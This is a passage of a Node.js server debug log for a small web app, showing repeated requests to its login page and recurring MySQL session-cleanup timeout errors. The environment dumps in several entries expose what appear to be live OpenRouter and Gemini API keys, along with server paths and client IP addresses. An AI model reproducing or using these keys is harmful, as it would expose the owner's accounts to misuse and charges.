    cookie: {
      path: '/',
      _expires: 2026-04-12T07:18:53.653Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '68.183.44.185',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '68.183.44.185',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-11T08:21:54.814Z server-connect:router Serving templateView /
2026-04-11T08:21:54.814Z server-connect:app Executing action step identify
2026-04-11T08:21:54.814Z server-connect:app options: { provider: 'security' }
2026-04-11T08:21:54.814Z server-connect:auth No login cookie found
2026-04-11T08:21:54.814Z server-connect:output identity: false
2026-04-11T08:21:54.814Z server-connect:app Executing action step restrict
2026-04-11T08:21:54.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-11T08:21:54.815Z server-connect:output restrict: undefined
2026-04-11T08:21:55.782Z server-connect:router Serving templateView /login
2026-04-11T08:21:55.782Z server-connect:app Executing action step identify
2026-04-11T08:21:55.782Z server-connect:app options: { provider: 'security' }
2026-04-11T08:21:55.782Z server-connect:auth No login cookie found
2026-04-11T08:21:55.782Z server-connect:output identity: false
2026-04-11T08:21:55.782Z server-connect:router Render template layouts/authentication
2026-04-11T08:21:55.782Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '142.93.234.191',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-12T08:21:55.781Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.93.234.191',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '142.93.234.191',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 08:28:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 08:28:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 11:41:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 11:41:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 16:09:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 16:09:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 18:47:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 18:47:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 21:33:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 21:33:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-11 22:53:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-11 22:53:41' as DATETIME)"
}
2026-04-12T02:34:50.523Z server-connect:router Serving templateView /
2026-04-12T02:34:50.525Z server-connect:app Executing action step identify
2026-04-12T02:34:50.525Z server-connect:app options: { provider: 'security' }
2026-04-12T02:34:50.525Z server-connect:auth No login cookie found
2026-04-12T02:34:50.525Z server-connect:output identity: false
2026-04-12T02:34:50.525Z server-connect:app Executing action step restrict
2026-04-12T02:34:50.525Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-12T02:34:50.526Z server-connect:output restrict: undefined
2026-04-12T02:34:53.608Z server-connect:router Serving templateView /login
2026-04-12T02:34:53.609Z server-connect:app Executing action step identify
2026-04-12T02:34:53.609Z server-connect:app options: { provider: 'security' }
2026-04-12T02:34:53.609Z server-connect:auth No login cookie found
2026-04-12T02:34:53.609Z server-connect:output identity: false
2026-04-12T02:34:53.609Z server-connect:router Render template layouts/authentication
2026-04-12T02:34:53.609Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '142.93.147.33',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-13T02:34:53.608Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.93.147.33',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '142.93.147.33',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-12 08:45:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-12 08:45:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-12 11:57:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-12 11:57:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-12 17:51:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-12 17:51:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-12 21:32:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-12 21:32:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-12 23:21:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-12 23:21:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-12 23:52:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
